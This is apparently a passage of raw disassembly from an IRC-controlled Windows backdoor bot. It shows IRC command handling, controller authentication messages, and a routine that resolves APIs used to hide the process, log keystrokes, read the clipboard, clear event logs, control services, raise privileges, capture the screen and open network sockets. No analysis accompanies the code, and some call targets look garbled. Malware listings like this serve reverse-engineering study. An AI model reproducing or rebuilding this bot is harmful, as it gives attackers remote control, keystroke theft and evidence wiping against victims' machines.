		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		call	near ptr 2660F23h
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEC4[eax]
		nop
		call	near ptr 268069Bh
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43DEC4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43DCB0[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_4296BC
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_429694


loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h


loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_429670
		jmp	short loc_409689
; ---------------------------------------------------------------------------


loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429644


loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_429DB0
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429628
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429604
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_4295E0
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_4295BC
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429598
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		nop
		call	near ptr 2660F23h


loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429570
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------


loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42954C


loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx


loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42CA28 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CAE2C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429548 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294C8
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160


loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429474
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998


loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429454
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429434
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CAE24, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		nop
		call	near ptr 2660F23h

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB020, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CAF94, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CAF78, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CAE88, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CAE34, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CAE64, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CAEDC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CAFD4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB030, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CAE94, eax
		call	esi
		cmp	dword_4CB020, ebx
		mov	dword_4CAE7C, eax
		jz	short loc_409C10
		cmp	dword_4CAF94, ebx
		jz	short loc_409C10
		cmp	dword_4CAF78, ebx
		jz	short loc_409C10
		cmp	dword_4CAE88, ebx
		jz	short loc_409C10
		cmp	dword_4CAE64, ebx
		jz	short loc_409C10
		cmp	dword_4CAEDC, ebx
		jz	short loc_409C10
		cmp	dword_4CAFD4, ebx
		jz	short loc_409C10
		cmp	dword_4CB030, ebx
		jz	short loc_409C10
		cmp	dword_4CAE94, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A


loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB034, 1


loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAFAC, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------


loc_409C32:				; CODE XREF: sub_409B12+1Dj
		nop
		call	near ptr 2670859h
		mov	dword_4CB038, eax
		mov	dword_4CB034, 1


loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 2690AB1h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CAFD0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CAF80, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CAF14, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB024, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CAF44, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CAF64, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CAFC8, eax
		call	esi
		cmp	dword_4CAFD0, ebx
		mov	dword_4CAEB4, eax
		jz	short loc_409D00
		cmp	dword_4CAF80, ebx
		jz	short loc_409D00
		cmp	dword_4CAF14, ebx
		jz	short loc_409D00
		cmp	dword_4CB024, ebx
		jz	short loc_409D00
		cmp	dword_4CAF44, ebx
		jz	short loc_409D00
		cmp	dword_4CAF64, ebx
		jz	short loc_409D00
		cmp	dword_4CAFC8, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A


loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB03C, 1


loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CAF40, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CAE48, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CAF10, eax
		call	esi
		cmp	dword_4CAF40, ebx
		mov	dword_4CAEF8, eax
		jz	short loc_409D67
		cmp	dword_4CAE48, ebx
		jz	short loc_409D67
		cmp	dword_4CAF10, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------


loc_409D5C:				; CODE XREF: sub_409B12+144j
		call	near ptr 2670859h
		nop
		mov	dword_4CB040, eax


loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB03C, 1


loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CAFE4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CAF28, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CAF98, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CAE74, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CAED8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CAF50, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CAEF4, eax
		call	esi
		cmp	dword_4CAFE4, ebx
		mov	dword_4CAF04, eax
		jz	short loc_409E1A
		cmp	dword_4CAF28, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF98, ebx
		jz	short loc_409E1A
		cmp	dword_4CAE74, ebx
		jz	short loc_409E1A
		cmp	dword_4CAED8, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF50, ebx
		jnz	short loc_409E24


loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB044, 1


loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CAF58, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CAF30, eax
		call	esi
		cmp	dword_4CAF58, ebx
		mov	dword_4CAFE0, eax
		jz	short loc_409E5F
		cmp	dword_4CAF30, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69


loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB044, 1


loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CAF68, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CAE50, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CAE58, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CAEBC, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CAEC0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CAE6C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CAF34, eax
		call	esi
		cmp	dword_4CAF68, ebx
		mov	dword_4CAE5C, eax
		jz	short loc_409F0D
		cmp	dword_4CAE50, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE58, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEBC, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEC0, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE6C, ebx
		jz	short loc_409F0D
		cmp	dword_4CAF34, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17


loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB044, 1


loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAE54, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------


loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		nop
		call	near ptr 2670859h
		mov	dword_4CB048, eax


loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB044, 1


loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CAF60, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CAFB8, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CAFC0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CAF7C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CAE98, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CAE44, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CAFBC, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CAE30, eax
		call	esi
		cmp	dword_4CAF60, ebx
		mov	dword_4CAED0, eax
		jz	short loc_40A016
		cmp	dword_4CAFB8, ebx
		jz	short loc_40A016
		cmp	dword_4CAFC0, ebx
		jz	short loc_40A016
		cmp	dword_4CAF7C, ebx
		jz	short loc_40A016
		cmp	dword_4CAE98, ebx
		jz	short loc_40A016
		cmp	dword_4CAE44, ebx
		jz	short loc_40A016
		cmp	dword_4CAFBC, ebx
		jz	short loc_40A016
		cmp	dword_4CAE30, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------


loc_40A00B:				; CODE XREF: sub_409B12+438j
		call	near ptr 2670859h
		nop
		mov	dword_4CB050, eax


loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB04C, 1


loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CAEE4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB018, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CAE84, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CAE60, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CAF20, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CAF08, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CAECC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CAFF4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB010, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CAF1C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB000, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CAFB4, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CAF74, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CAF70, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CAEA4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CAE9C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CAFC4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CAFD8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CAF8C, eax
		call	esi
		mov	dword_4CAF4C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CAFA0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CAF5C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CAF9C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB008, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CAF54, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CAF18, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CAF88, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CAFF8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CAF2C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CAEC8, eax
		call	esi
		cmp	dword_4CAEE4, ebx
		mov	dword_4CB00C, eax
		jz	loc_40A2E7
		cmp	dword_4CB018, ebx
		jz	loc_40A2E7
		cmp	dword_4CAE84, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF20, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF08, ebx
		jz	loc_40A2E7
		cmp	dword_4CAECC, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFF4, ebx
		jz	loc_40A2E7
		cmp	dword_4CB010, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF1C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB000, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFB4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF74, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF70, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEA4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFC4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFD8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF8C, ebx
